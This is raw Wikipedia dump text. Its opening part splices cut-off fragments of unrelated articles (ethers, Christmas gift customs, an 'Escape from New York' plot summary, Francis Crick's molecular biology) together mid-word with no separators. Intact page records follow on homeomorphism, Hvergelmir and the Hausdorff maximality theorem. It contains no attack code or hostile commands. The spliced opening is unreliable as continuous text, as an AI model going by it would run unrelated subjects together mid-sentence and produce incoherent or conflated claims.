[[functional group|group]] &amp;mdash; an [[oxygen]] [[atom]] connected to two (substituted) [[alkyl]] groups. A typical example is the [[solvent]] and [[anesthetic]] [[diethyl ether]] (ethoxyethane, CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-O-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;). == Similar structures == [[Image:Structures not ethers.png|frame|Not all compounds of the formula R-O-R are ethers]] Ethers are not to be confused with the following classes of compounds with the same general structure R-O-R. * [[Aromatic]] compounds like [[furan]] where the oxygen is part of the aromatic system. * Compounds where one of the carbon atoms next to the oxygen is connected to oxygen, [[nitrogen]], or [[sulfur]]: ** [[Ester]]s R-C(=O)-O-R ** [[Acetal]]s R-CH(-O-R)-O-R ** [[Aminal]]s R-CH(-NH-R)-O-R ** [[Anhydride]]s R-C(=O)-O-C(=O)-R == Primary, secondary, and tertiary ethers == The terms ''
ren hang a [[Christmas stocking]] by the fireplace on Christmas Eve because Santa is said to come down the chimney the night before Christmas to fill them. In other countries, children place their empty shoes out for Santa to fill on the night before Christmas, or for Saint Nicholas to fill on [[December 5]] before his feast day the next day. Gift giving is not restricted to these special gift-bringers, as family members and friends also bestow gifts on each other. ====Timing of gifts==== In many countries, [[Saint Nicholas]]'s Day remains the principal day for gift giving. In such places, including the [[Netherlands]], Christmas Day remains more a religious holiday. In much of [[Germany]], children put shoes out on window sills on the night of [[December 5]], and find them filled with [[candy]] and small gifts the next morning. The main day for gift giving, however, is [[December 24]], when gifts are brought by Santa Claus or are placed under the Christmas tree. In other countries, including [[Spain]], gifts are brought by the [[Magi]] at [[Epiphany]] on [[January 6]]. In [[Poland]], Santa Claus ([[Polish language|Polish]]: Święty Mikołaj) gives gifts at two occasions: on the night of [[December 5]] (so that children find them on the morning of [[December 6]]) and on [[Christmas Eve]], [[December 24]], (so that children find gifts that same day). In [[Finland]] ''[[Joulupukki]]'' personally meets children and gives gifts on [[December 24]]. In [[Russia]], ''[[Grandfather Frost]]'' brings presents on New Year's Eve, and these are opened on the same night. One of the many customs of gift timing is suggested by the song &quot;[[Twelve Days of Christmas]]&quot;, celebrating an old British tradition of gifts each day from Christmas to Epiphany. In most of the world, Christmas gifts are given at night on Christmas Eve or in the morning on Christmas Day. Until recently, gifts were given in the UK to non-family members on [[Boxing Day]]. ===Declaration of Christmas Peace=== Declaration of Christmas Peace has been a tradition in [[Finland]] from the Middle Ages every year, except in 1939 due to the war. The declaration takes place on the Old Great Square of [[Turku]], Finland's official Christmas City and former capital, at noon on Christmas Eve. It is broadcast in Finnish radio (since 1935) and television and nowadays also in some foreign countries. The declaration ceremony begins with the hymn ''Jumala ompi linnamme'' ([[Martin Luther]]'s ''Ein` feste Burg ist unser Gott'') and continues with the Declaration of Christmas Peace read from a parchment roll: &quot;Tomorrow, God willing, is the graceful celebration of the birth of our Lord and Saviour; and thus is declared a peaceful Christmas time to all, by advising devotion and to behave otherwise quietly and peacefully, because he who breaks this peace and violates the peace of Christmas by any illegal or improper behaviour shall under aggravating circumstances be guilty and punished according to what the law and statutes prescribe for each and every offence separately. Finally, a joyous Christmas feast is wished to all inhabitants of the city.&quot; Recently there have also been declarations of Christmas peace for forest animals in many cities and municipalities, restricting hunting during the holiday. ===Christmas cards=== [[Image:Julekort.jpg|thumb|left|A large variety of commercial Christmas cards are available in stores across the world.]] [[Christmas card]]s are extremely popular in [[New Zealand]], [[Australia]], [[Canada]], the [[United States]], and [[Europe]], in part as a way to maintain relationships with distant relatives, friends, and business acquaintances. Many families enclose an annual family photograph or a family newsletter summarizing the adventures and accomplishments of family members during the preceding year. ===Decorations=== [[Image:Brazilian-christmas-tree.jpg|thumb|Christmas tree in a Brazilian home.]] Decorating a Christmas tree with [[Christmas lights|lights]] and [[Christmas ornaments|ornaments]] and the decoration of the interior of the home with [[garland]]s and [[evergreen]] foliage, particularly [[holly]] and [[mistletoe]], are common traditions. In [[North America|North]] and [[South America]] and to a lesser extent [[Europe]] and [[Australia]], it is traditional to decorate the outside of houses with lights and sometimes with illuminated sleighs, snowmen, and other Christmas figures. Since the 19th century, the traditional Christmas flower has been the winter-blooming [[poinsettia]]. Other popular holiday plants include [[holly]], [[mistletoe]], red [[amaryllis]], and [[Christmas cactus]]. Municipalities often sponsor decorations as well, hanging Christmas banners from street lights or placing Christmas trees in the town square. In the US, decorations once commonly included religious themes. This practice has led to much adjudication, as some say it amounts to the government endorsing a religion. In 1984 the [[Supreme Court of the United States|US Supreme Court]] ruled that a city-owned Christmas display including a Christian [[nativity]] scene was depicting the historical origins of Christmas and was not in violation of the [[First Amendment to the United States Constitution|First Amendment]] (''[[Lynch v. Donnelly]]''). Although Christmas decorations, such as the tree, are essentially [[secular]] in character in some parts of the world, e.g. in the [[Saudi Arabia|Kingdom of Saudi Arabia]], such display is banned on the grounds that the symbols are of [[Christianity]] (which is proscribed). ===Social aspects and entertainment=== [[Image:CandyCane.JPG|left|thumb|[[Candy cane]]s are a popular Christmas treat, and may double as a decoration or Christmas ornament.]] In many countries, businesses, schools, and communities have Christmas parties and dances during the several weeks before Christmas Day. Christmas [[pageant]]s, common in [[Latin America]], may include a retelling of the story of the birth of Christ. Groups may go [[Christmas carols|caroling]], visiting neighborhood homes to sing Christmas songs. Others are reminded by the holiday of their kinship with the rest of humanity and do [[volunteer]] work or hold [[fundraising]] drives for [[charities]]. &lt;!--[[Image:Now is it Christmas again (1907) by Carl Larsson.jpg|thumbnail|300px|&quot;Now it is Christmas again&quot; by Carl Larsson.]]--&gt; On Christmas Day or Christmas Eve, a special meal of [[Christmas dishes]] is usually served, for which there are different traditional menus in many country. In some regions, particularly in [[Eastern Europe]], these family feasts are preceded by a period of [[fasting]]. Candy and treats are also part of the Christmas celebration in many countries. Because of the focus on celebration, friends, and family, people who are without these, or who have recently suffered losses, are more likely to suffer from depression during Christmas. This increases the demands for counseling services during the period. It is widely believed that suicides and murders spike during the holiday season. However, the peak months for suicide are May and June. Because of holiday celebrations involving alcohol, drunk driving-related fatalities may also increase. Non-Christians in predominantly Christian nations may have few choices for entertainment around Christmas, as stores close and friends depart for vacations. The cliché recreation for them is &quot;movies and Chinese food&quot;; movie theaters remaining open to bring in holiday box office dollars and Chinese (and presumably Buddhist, et al.) establishments being less likely to close for the &quot;big day&quot;. ===Christmas carol media=== {{multi-listen start}} {{multi-listen item|filename=Deck the Halls.ogg|title=Deck the Halls|description=[[Deck the Halls]]|format=[[Ogg]]}} {{multi-listen item|filename=Oh holy night.ogg|title=Oh Holy Night|description=[[Oh Holy Night]]|format=[[Ogg]]}} {{multi-listen item|filename=Angels We Have Heard On High.ogg|title=Angels We Have Heard On High|description=[[Angels We Have Heard On High]], performed by Clarinet and French Horn|format=[[Ogg]]}} {{multi-listen end}} ==Christmas in the arts and media== {{main|Christmas in the media}} Many fictional Christmas stories capture the spirit of Christmas in a modern-day [[fairy tale]], often with heart-touching stories of a Christmas [[miracle]]. Several have become part of the Christmas tradition in their countries of origin. Among the most popular are [[Pyotr Ilyich Tchaikovsky|Tchaikovsky]]'s ballet ''[[The Nutcracker]]'' and Charles Dickens's novel ''[[A Christmas Carol]]''. ''[[The Nutcracker]]'' tells of a [[nutcracker]] that comes to life in a young [[Germany|German]] [[girl|girl's]] dream. [[Charles Dickens]]' ''[[A Christmas Carol]]'' is the tale of curmudgeonly miser [[Ebenezer Scrooge]]. Scrooge rejects [[compassion]] and [[philanthropy]], and Christmas as a symbol of both, until he is visited by the ghosts of Christmas Past, Present and Future, who show him the consequences of his ways. Dickens is sometimes credited with shaping the modern Christmas of English-speaking countries of Christmas trees, [[plum pudding]], and Christmas carols with shaping the movement to close businesses on Christmas Day. [[Image:1863 harpers.jpg|thumb|left|Thomas Nast helped standardize the modern image of Santa Claus, as seen in this cartoon he produced for an 1863 edition of ''[[Harper's Weekly]]''.]] Just as Dickens shaped Christmas traditions, 19th century cartoonist [[Thomas Nast]] gave Santa his familiar form (''[[Harper's Weekly]]'', 1863). &quot;[[A Visit from St. Nicholas]]&quot; ((''Sentinel'', 1823, authorship by either [[Henry Livingston Jr.]] or [[Clement Clarke Moore]] and popularly known as &quot;The Night Before Christmas&quot;) supplied the rotund Santa and his sleigh landing on rooftops on Christmas Eve. In 1881, the [[Sweden|Swedish]] [[magazine]] ''Ny Illustrerad Tidning'' published [[Viktor R
rorists]] who protest the President's &quot;oppressive facist regime&quot;, and crash the airplane inside the city prison. Moments before impact, the President evacuates the plane in an [[escape pod]]. Manhattan is monitored from a bunker on [[Liberty Island]]. Bob Hauk (played by Lee Van Cleef), the police commissioner who runs the prison, is able to track a life monitor placed on the President's wrist, and leads a rescue team to get him out. Upon arrival, Hauk finds that a gang of prisoners have gotten to the President first and are holding him hostage. One of the prisoners, Romero (played by Frank Doubleday from [[Assault on Precinct 13]] produces a severed finger with his presidential ring as proof that they have him. Hauk asks his demands, but Romero doesn't have any as of yet and he tells Hauk to leave immediately or the President dies. With no other choice, Hauk returns to the Ellis Island to update anxious government officials of the situation. Elsewhere, Ellis Island is processing in a new prisoner; the one-eyed &quot;Snake&quot; Plissken, who has recently been convicted of attempted robbery of the [[Federal Reserve Bank]] in [[Cleveland, Ohio|Cleveland]]. Plissken's impressive military record shows that he is a highly skilled [[Special Forces]] veteran who has received a prestigious award for his valor. He is shown to have been a very proficient combat pilot who flew a glider over the battle of Leningrad (suggesting that the Third World War mentioned in the film was fought against Soviets). Hauk interviews Plissken, seeing the war hero that he once was over the dangerous convict he is now. Hauk updates Plissken on the President's situation and the importance of retrieving a cassette tape that has information on what the President hoped would be a new form of viable energy. Plissken is completely uninterested until Hauk offers him a full pardon if he agrees to take the rescue mission. Plissken is given 24 hours to find the President, and more importantly the tape, and get them both out before the summit concludes, or Russia and China will leave the peace talks. Snake reluctantly agrees to the deal. He is told he will go in covertly with a Gulfstream glider and land on the roof of one of the [[World Trade Center]] towers. He is given a gun, a tracking device, a walkie-talkie, a locator bracelet, and a wrist watch with a 22 hour countdown clock which is already in progress. One final step before he leaves is to go to medical for shots which will protect him from the diseases that run rampant in the city. Snake doesn't realize until after the shots were administered that they have placed tiny explosives in him that have lodged in his arteries. Hauk warns Plissken that any attempt to turn the glider around to Canada, or failure to bring back the President will result in the detonation of the explosives which are just big enough to rip open both his arteries and kill him. Plissken's watch has now became his countdown &quot;life clock&quot;. Plissken furiously strangles Hauk, demanding he remove the explosives, but a technician calms him down by explaining the charges can be easily neutralized by [[X-rays]] once he completes the mission. Before leaving, Plissken threatens to kill Hauk when he gets back. Plissken flies the glider into the city and lands on top of the WTC as planned. Eventually he finds his way to the streets and the wreckage of Air Force One. He finds the President's escape pod nearby, but the leader is nowhere to be found. Snake activates his locator and tracks a weak signal from the President's life monitor. The signal leads him to a movie theatre where some inmates are enjoying a makeshift stage play. One of the prisoners, a pudgy older man, spots Plissken and takes interest. He follows him and quickly finds Snake's machine gun shoved in his face. The man apologizes for intruding on him and asks if he's &quot;Snake Plissken&quot;. Snake doesn't answer, but the man is convinced; laughing that he heard he was dead. (This becomes one of the film's main taglines - each time a new character meets Plissken, they remark that they had heard he was dead.) Plissken ignores the man and heads down a flight of stairs despite the man's warning that he shouldn't go down there. Wandering around, Plissken is jumped by some inmates but quickly brushes them aside. Eventually, he finds the source of the signal - a drunken inmate. Distraught that he tracked a decoy, Plissken contacts Hauk to pick him up stating that the President must be dog meat by now, believing the inmates must have killed him already. Hauk orders him to push on since there are 16 hours left. He warns that failure means &quot;no more Hartford Summit, and no more Snake Plissken!&quot; Plissken wanders around fatigued and wary. He crosses paths with a swarm of cannibalistic people, known as the Crazies, who emerge from the sewers, and takes refuge in the ruins of a nearby diner. There he meets an attractive woman hiding there who quickly realizes who he is and indicates that she heard he was dead. She begs Snake to take her out of here and makes a passionate advance. At that moment, the floor explodes and the crazed cannibals drag the screaming woman away. Snake kills off a few and escapes down an alley with the mob in pursuit. Jumping a wall, Snake loses his walkie-talkie. Suddenly, a dilapidated [[Checker]] taxi cab, blasting bandstand music, blocks his path. The man from the theatre is driving and tells Snake to get in. The man tosses a [[molotov cocktail]] at the cannibals to cover Plissken's escape. Despite old Cabbie's helpfulness, Snake forcefully demands to know where the president is. Cabbie tells Snake that &quot;The Duke of New York&quot; has him, and that he runs the city. Snake wants to meet this Duke, but Cabbie warns than no one can see the Duke - &quot;if you do, you're dead!&quot; However, Snake isn't kidding, so Cabbie takes him to see a man named &quot;Brain&quot; believing that he will know what to do. Brain resides in what was once the [[New York Public Library]], and now his personal fortress. Brain has some prestige and privilege in the city, He helps the Duke with his insight, solving problems and refining gasoline for his gang. Cabbie and Snake are refused entry at the door by Maggie, Brain's &quot;woman&quot;, but Cabbie tells her Snake Plissken is here and he has to see Brain. Maggie mentions that she heard Snake was dead, but decides to let them in anyway. She leads them down to see Brain; a skinny disheveled man sitting in a large chair of the main floor like it was his personal throne room. When Brain and Plissken meet eye-to-eye, Plissken realizes who Brain is; none other than a former partner of his named Harold Helman. Snake remembers Harold had double crossed him on a job a while back and threatens to kill him. Brain begs for his life and offers the whereabouts of the President as leverage. Brain explains that Duke has the President, and that the Duke plans a big &quot;walk out&quot; from the prison tomorrow evening right across the 59th Street Bridge. Snake says the President's life won't mean much in a few hours; he won't be useful as a hostage if he misses the peace talks. Brain doesn't believe him and refuses to help any further, but Snake tells him that the President will pardon anyone who helps him get out alive. Cabbie and Maggie think it's an offer they can't refuse and urge Brain to reconsider. Brain asks Snake about how he plans to escape, where Snake tells him about the Gulfstream glider hidden on the WTC. Reluctantly, Brain finally agrees to help. The Duke however, has paid a surprised visit, and his entourage of armed thugs surround the library. Snake gets his first glimpse of The Duke; a muscular black man with a sleeveless white outfit and a feathered hat. The Duke's Cadillac has crystal chandeliers mounted to the fenders as headlights. Brain indicates that The Duke wants his map of the bridge which is rigged with land mines to thwart any escape. Plissken and the others hide in a nearby alley, while Cabbie cowardly flees in his taxi. Brain is anxious, stating that the Duke will kill them if he finds out what they're planning. Plissken decides to steal one of the thug's cars and knocks a guard out. Brain and Maggie rush into the car as Snake takes the wheel. They drive to Duke's compound only to find the Duke's entourage is heading back as well. Plissken takes a shortcut down a street is full of the cannibals who try to swarm the car. Plissken manages to get away and beats The Duke to the compound. Brain indicates that the President is being held in an old subway car and that he and Maggie will create a diversion. This should give Snake the opportunity to sneak in and rescue him. The plan commences; Plissken enters the subway car and finds the President tied to a chair with a briefcase still handcuffed to his wrist. Plissken explains that he is here on a rescue mission, but then a guard arrives and a brawl ensues. Plissken is stabbed in the leg during the fight and is overpowered by more thugs who drag him outside before The Duke. Brain runs up and lies to The Duke that Plissken forced him against his will to help get the President. The Duke steps up and looks over Snake, stating &quot;Snake Plissken! I heard about you... I heard you were dead.&quot; The Duke grabs the knife still stuck in Snake's leg and twists it. Snake passes-out after getting his head smashed-in by the butt of a gun. Snake wakes up sometime later surrounded by The Duke's thugs. It is daytime and The Duke is enjoying target practice with Snake's gun and using the President chained to a wall as the target. Brain and Maggie watch nearby. The Duke has the frightened President repeat honors to him - &quot;You're the Duke of New York, you're 'A' Number One!&quot; The Duke suddenly shoots open the briefcase and the cassette tape falls to the ground. One of The Duke's thugs picks up the tape and puts it
entally determined ratios of the nucleotide subunits of DNA: the amount of [[guanine]] is equal to [[cytosine]] and the amount of [[adenine]] is equal to [[thymine]]. A visit by [[Erwin Chargaff]] to England in 1952 helped keep this important fact in front of Watson and Crick. The significance of these ratios for the structure of DNA were not recognized until Watson, persisting in building structural models, realized that A:T and C:G pairs are structurally similar. In particular, the length of each base pair is the same. The [[Base pair|base pairs]] are held together by [[hydrogen bond]]s, the same non-covalent interaction that stabilizes the protein α helix. Watson’s recognition of the A:T and C:G pairs was aided by information from [[Jerry Donohue]] {{ref|pairs}} about the most likely structures of the [[nucleobase]]s. After the discovery of the hydrogen bonded A:T and C:G pairs, Watson and Crick soon had their double helix model of DNA with the hydrogen bonds at the core of the helix providing a way to unzip the two complementary strands for easy [[DNA replication|replication]]: the last key requirement for a likely model of the genetic molecule. As important as Crick’s contributions to the discovery of the double helical DNA model were, he stated that without the chance to collaborate with Watson, he would not have found the structure by himself. Crick did tentatively attempt to perform some experiments on nucleotide base pairing, but he was more of a theoretical biologist than one who would perform experiments. There was another close approach to discovery of the base pairing rules in early 1952. Crick had started to think about interactions between the bases. He asked John Griffith to try to calculate attractive interactions between the DNA bases from chemical principles and quantum mechanics. Griffith's best guess was that A:T and G:C were attractive pairs. At that time, Crick was not aware of Chargaff's rules and he made little of Griffith's calculations. It did start him thinking about complementary replication. Identification of the correct base-pairing rules (A-T, G-C) was achieved by Watson &quot;playing&quot; with cardboard cut-out models of the nucleotide bases, much in the manner that Pauling had discovered the protein alpha helix a few years earlier. The Watson and Crick discovery of the DNA double helix structure was made possible by their correct interpretation of the significance of experimental results that had been obtained by others. === Molecular Biology === Francis Crick also made significant contributions in laying the foundations of the now mature field of [[molecular biology]]. This includes work on the nature of the [[genetic code]] and the mechanisms of [[protein synthesis]]. After the discovery of the double helix model of DNA, Crick’s interests quickly turned to the biological implications of the structure. In 1953, Watson and Crick published another article in ''Nature'' which stated: &quot;it therefore seems likely that the precise sequence of the bases is the code that carries the genetical information&quot;{{ref|code}}. In 1954, Crick completed his Ph.D. thesis: &quot;X-Ray Diffraction: Polypeptides and Proteins&quot; and received his degree at the age of 37. Crick then worked in the laboratory of David Harker at [[Polytechnic University of New York|Brooklyn Polytechnic Institute]] where he continued to develop his skills in the analysis of X-ray diffraction data for proteins, working primarily on [[ribonuclease]]. [[Image:Collagentriplehelix.png|thumb|left|99px|Collagen triple helix.]] After his short time in New York, Crick returned to Cambridge where he worked until moving to California in 1976. Crick engaged in several X-ray diffraction collaborations such as one with Alexander Rich on the structure of [[collagen]]{{ref|collagen}}. However, Crick was quickly drifting away from continued work related to his expertise in the interpretation of X-ray diffraction patterns of proteins. [[George Gamow]] established a group of scientists who were interested in the role of RNA as an intermediary between DNA as the genetic storage molecule in the [[Nucleus (cell)|nucleus]] of cells and the synthesis of proteins in the [[cytoplasm]]. It was clear to Crick that there had to be a code by which a short sequence of nucleotides would specify a particular amino acid in a newly synthesized protein. In 1956 Crick wrote an informal paper about the genetic coding problem for the small group of scientists in Gamow’s RNA group{{ref|tieclub}}. In this article, Crick reviewed the evidence supporting the idea that there was a common set of about 20 amino acids used to synthesize proteins. Crick proposed that there was a corresponding set of small adaptor molecules that would hydrogen bond to short sequences of a nucleic acid and also link to one of the amino acids. He also explored the many theoretical possibilities by which short nucleic acid sequences might code for the 20 amino acids. [[Image:3d_tRNA.png|thumb|right|Molecular model of a [[tRNA]] molecule. Crick predicted that such adaptor molecules might exist as the links between [[codon]]s and amino acids.]] During the mid-to-late 1950s Crick was very much intellectually engaged in sorting out the mystery of how proteins are synthesized. By 1958 Crick’s thinking had matured and he could list in an orderly way all of the key features of the protein synthesis process{{ref|synthesis}}: *genetic information stored in the sequence of DNA molecules *a “messenger” RNA molecule to carry the instructions for making one protein to the cytoplasm *adaptor molecules (“they might contain nucleotides”) to match short sequences of nucleotides in the RNA messenger molecules to specific amino acids *ribonucleic-protein complexes that catalyse the assembly of amino acids into proteins according to the messenger RNA The “adaptor molecules” were eventually shown to be [[tRNA]]s and the catalytic “ribonucleic-protein complexes” became known as [[ribosome]]s. An important step was later (1960) realization that the [[messenger RNA]] was not the same as the [[ribosomal RNA]]. None of this, however, answered the fundamental theoretical question of the exact nature of the genetic code. In his 1958 article, Crick speculated, as had others, that a triplet of nucleotides could code for an amino acid. Such a code might be “degenerate”, with 4x4x4=64 possible triplets of the four nucleotide subunits while there were only 20 amino acids. Some amino acids might have multiple triplet codes. Crick also explored other codes in which for various reasons only some of the triplets were used, “magically” producing just the 20 needed combinations. Experimental results were needed; theory alone could not decide the nature of the code. Crick also used the term “central dogma” to summarize an idea that implies that genetic information flow between [[macromolecule]]s would be essentially one-way: '''DNA &amp;rarr; RNA &amp;rarr; Protein''' Some critics thought that by using the word &quot;dogma&quot; Crick was implying that this was a rule that could not be questioned, but all he really meant was that it was a compelling idea without much solid evidence to support it. In his thinking about the biological processes linking DNA genes to proteins, Crick made explicit the distinction between the materials involved, the energy required and the information flow. Crick was focused on this third component (information) and it became the organizing principle of what became known as [[molecular biology]]. Crick had by this time become a dominant, if not the dominant, theoretical molecular biologist. Proof that the [[genetic code]] is a degenerate triplet code finally came from genetics experiments, some of which were performed by Crick{{ref|triplet}}. The details of the code came mostly from work by [[Marshall Warren Nirenberg| Marshall Nirenberg]] and others who synthesized synthetic RNA molecules and used them as templates for in vitro protein synthesis{{ref|thecode}}. === Views on Religion === In his book ''Of Molecules and Men'', Crick expressed his views on the relationship between [[science]] and [[religion]]{{ref|men}}. After suggesting that it would become possible for people to wonder if a [[computer]] might be programmed so as to have a [[soul]], he wondered: at what point during biological [[evolution]] did the first organism have a soul? At what moment does a baby get a soul? Crick stated his view that the idea of a non-material soul that could enter a body and then persist after death is just that, an imagined idea. For Crick, the [[mind]] is a product of physical [[brain]] activity and the brain had evolved by natural means over millions of years. Crick felt that it was important that evolution by [[natural selection]] be taught in public schools and that it was regrettable that English schools had compulsory religious instruction. Crick felt that a new scientific world view was rapidly being established, and predicted that once the detailed workings of the brain were eventually revealed, erroneous [[Christian]] concepts about the nature of man and the world would no longer be tenable; traditional conceptions of the &quot;soul&quot; would be replaced by a new understanding of the physical basis of mind. He was skeptical of organized religion and harbored doubts about the existence of god, although he was not an atheist as other sources have claimed {{ref label|Steyn|25|a}}. In October 1969, Crick participated in a celebration of the 100th year of the journal ''[[Nature (journal)|Nature]]''. Crick attempted to make some predictions about what the next 30 years would hold for molecular biology. His speculations were later published in ''Nature''{{ref|theology}}. Near the end of the article, Crick briefly mentioned the search for life on other [[planet]]s, but he held little hope that [[extraterrestrial life]] would be found by the year 2000. He also discussed what he
' (2005). &quot;Special Report: House of Lords.&quot;] *[http://www.parliament.uk/ The Parliament of the United Kingdom. Official website.] *[http://www.parliamentlive.tv/ The Parliament of the United Kingdom. Parliament Live TV.] [[Category:Parliament of the United Kingdom]] [[Category:National upper houses]] [[Category:Government of the United Kingdom]] [[cs:Sněmovna lordů]] [[de:House of Lords]] [[es:Cámara de los Lores]] [[fr:Chambre des Lords]] [[nl:Hogerhuis (politiek)]] [[ja:貴族院 (イギリス)]] [[pl:Izba Lordów]] [[ru:Палата лордов]] [[vi:Thượng Nghị viện Vương quốc Anh]] [[zh:英國上議院]] {{featured article}}</text> </revision> </page> <page> <title>Homeomorphism</title> <id>13660</id> <revision> <id>37539424</id> <timestamp>2006-01-31T17:31:50Z</timestamp> <contributor> <username>Juan Marquez</username> <id>217360</id> </contributor> <comment>+related</comment> <text xml:space="preserve">:''This word should not be confused with [[homomorphism]].'' In the [[mathematics|mathematical]] field of [[topology]] a '''homeomorphism''' or '''topological isomorphism''' (from the [[Greek language|Greek]] words ''homeos'' = identical and ''morphe'' = shape) is a special [[isomorphism]] between [[topological spaces]] which respects [[topological property|topological properties]]. Two spaces with a homeomorphism between them are called '''homeomorphic'''. From a topological viewpoint they are the same. Roughly speaking, a topological space is a [[geometric]] object and the homeomorphism is a continuous stretching and bending of the object into a new shape. Thus, a square and a [[circle]] are homeomorphic. The traditional joke is that the topologist can't tell the coffee cup she is drinking from the donut she is eating, since a sufficiently pliable donut could be reshaped to the form of a coffee cup by creating a dimple and progressively enlarging it, while shrinking the hole into a handle. Intuitively, a homeomorphism maps points in the first object that are &quot;close together&quot; to points in the second object that are close together, and points in the first object that are not close together to points in the second object that are not close together. Topology is the study of those properties of objects that do not change when homeomorphisms are applied. == Definition == A [[function_(mathematics)|function]] ''f'' between two [[topological spaces]] ''X'' and ''Y'' is called a '''homeomorphism''' if it has the following properties * ''f'' is a [[bijection]], * ''f'' is [[Continuity (topology)|continuous]], * the [[inverse function]] ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt; is continuous. If such a function exists we say ''X'' and ''Y'' are '''homeomorphic'''. The homeomorphisms form an [[equivalence relation]] on the [[class (set theory)|class]] of all topological spaces. The resulting [[equivalence class|equivalence classes]] are called '''homeomorphism classes'''. == Examples == * The unit 2-[[ball (mathematics)|disc]] D&lt;sup&gt;2&lt;/sup&gt; and the [[unit square]] in '''R'''&lt;sup&gt;2&lt;/sup&gt; are homeomorphic. * The open [[interval (mathematics)|interval]] (-1, 1) is homeomorphic to the [[real number]]s '''R'''. * The [[product topology|product space]] S&lt;sup&gt;1&lt;/sup&gt; &amp;times; S&lt;sup&gt;1&lt;/sup&gt; and the two-[[dimension]]al [[torus]] are homeomorphic. * Every [[uniform isomorphism]] and [[isometric isomorphism]] is a homeomorphism. * Any [[sphere]] with a single point removed is homeomorphic to the set of all points in '''R'''&lt;sup&gt;2&lt;/sup&gt; (a 2-dimensional [[plane (mathematics)|plane]]). == Notes == The third requirement, that ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt; be continuous, is essential. Consider for instance the function ''f'' : &lt;nowiki&gt;[0, 2&amp;pi;)&lt;/nowiki&gt; &amp;rarr; S&lt;sup&gt;1&lt;/sup&gt; defined by ''f''(&amp;phi;) = (cos(&amp;phi;), sin(&amp;phi;)). This function is bijective and continuous, but not a homeomorphism. Homeomorphisms are the [[isomorphism]]s in the [[category of topological spaces]]. As such, the composition of two homeomorphisms is again a homeomorphism, and the set of all self-homeomorphisms ''X'' &amp;rarr; ''X'' forms a [[group (mathematics)|group]], called the '''homeomorphism group''' of ''X'', often denoted Homeo(''X''). For some purposes, the homeomorphism group happens to be too big, but by means of the [[isotopy]] relation, one can reduce this group to the [[mapping class group]]. == Properties == * two homeomorphic spaces share the same [[topological properties]]. For example, if one of them is [[compact space|compact]], then the other is as well; if one of them is [[connectedness|connected]], then the other is as well; if one of them is [[Hausdorff space|Hausdorff]], then the other is as well; their [[homology group]]s will coincide. Note however that this does not extend to properties defined via a [[metric space|metric]]; there are metric spaces which are homeomorphic even though one of them is [[completeness (topology)|complete]] and the other is not. * a homeomorphism is an [[open mapping]] and a [[closed mapping]], that is it maps [[open set]]s to open sets and [[closed set]]s to closed sets. * Every self-homeomorphism in &lt;math&gt;S^1&lt;/math&gt; can be extended to a self-homeomorphism of the whole disk &lt;math&gt;D^2&lt;/math&gt; ([[Alexander's Trick]]). == Informal discussion == The intuitive criterion of stretching, bending, cutting and gluing back together takes a certain amount of practice to apply correctly &amp;mdash; it may not be obvious from the description above that deforming a [[line segment]] to a point is impermissible, for instance. It is thus important to realize that it is the formal definition given above that counts. This characterization of a homeomorphism often leads to confusion with the concept of [[homotopy]], which is actually ''defined'' as a continuous deformation, but from one ''function'' to another, rather than one space to another. In the case of a homeomorphism, envisioning a continuous deformation is a mental tool for keeping track of which points on space ''X'' correspond to which points on ''Y'' &amp;mdash; one just follows them as ''X'' deforms. In the case of homotopy, the continuous deformation from one map to the other is of the essence, and it is also less restrictive, since none of the maps involved need to be one-to-one or onto. Homotopy does lead to a relation on spaces: [[homotopy equivalence]]. There is a name for the kind of deformation involved in visualizing a homeomorphism. It is (except when cutting and regluing are required) an [[homotopy|isotopy]] between the [[identity map]] on ''X'' and the homeomorphism from ''X'' to ''Y''. == See also == * [[local homeomorphism]] * [[homotopy]] * [[topological property]] * [[diffeomorphism]] * [[uniform isomorphism]] is an isomorphism between [[uniform spaces]] * [[isometric isomorphism]] is an isomorphism between [[metric spaces]] * [[Dehn twist]] * [[homeomorphism (graph theory)]] (closely related to graph graph subdivision) * [[isotopy]] * [[mapping class group]] [[Category:General topology]] [[Category:Topology]] [[cs:Homeomorfismus]] [[da:Homeomorfi]] [[de:Homöomorphismus]] [[es:Homeomorfismo]] [[fr:Homéomorphisme]] [[it:Omeomorfismo]] [[he:הומיאומורפיזם]] [[nl:Homeomorfisme]] [[ja:位相同型]] [[pl:Homeomorfizm]] [[sl:Homeomorfizem]] [[zh:同胚]]</text> </revision> </page> <page> <title>Hvergelmir</title> <id>13661</id> <revision> <id>37570337</id> <timestamp>2006-01-31T21:06:09Z</timestamp> <contributor> <username>Haukurth</username> <id>16226</id> </contributor> <comment>Removed statement I wasn't familiar with, sounded Rydbergish.</comment> <text xml:space="preserve">'''Hvergelmir''' is the wellspring of cold in [[Niflheim]] in [[Norse Mythology|Norse mythology]]. All cold rivers are said to come from here, and it was said to be the source of the eleven rivers, [[Élivágar]]. The name means approximately &quot;The seething cauldron&quot;. Above the spring, the serpent [[Níðhöggr]] gnaws on one of the roots of the world ash, [[Yggdrasil]]. {{norse-myth-stub}} {{NorseMythology}} [[Category:Locations in Norse mythology]] [[da:Hvergelmer]] [[de:Hvergelmir]] [[nl:Hvergelmir]] [[pl:Hvergelmir]]</text> </revision> </page> <page> <title>Halifax explosion</title> <id>13662</id> <revision> <id>15911257</id> <timestamp>2003-06-30T13:54:47Z</timestamp> <contributor> <username>SimonP</username> <id>1591</id> </contributor> <text xml:space="preserve">#REDIRECT [[Halifax Explosion]]</text> </revision> </page> <page> <title>Housdorff maximality theorem</title> <id>13664</id> <revision> <id>15911259</id> <timestamp>2002-04-16T22:41:30Z</timestamp> <contributor> <username>Toby</username> <id>1077</id> </contributor> <minor /> <comment>*</comment> <text xml:space="preserve">#REDIRECT [[Hausdorff maximality theorem]] </text> </revision> </page> <page> <title>Hausdorff maximality theorem</title> <id>13665</id> <revision> <id>22227087</id> <timestamp>2005-08-31T04:36:10Z</timestamp> <contributor> <username>Paul August</username> <id>87355</id> </contributor> <comment>add &quot;Hausdorff maximal principle&quot;</comment> <text xml:space="preserve">The '''Hausdorff maximality theorem''', (also called the '''Hausdorff maximal principle''') formulated and proved by [[Felix Hausdorff]] in [[1914]], is an alternate formulation of [[Zorns lemma|Zorn's lemma]] and therefore also equivalent to the [[axiom of choice]]. It states that in any [[partial order|partially ordered set]], every [[total order|totally 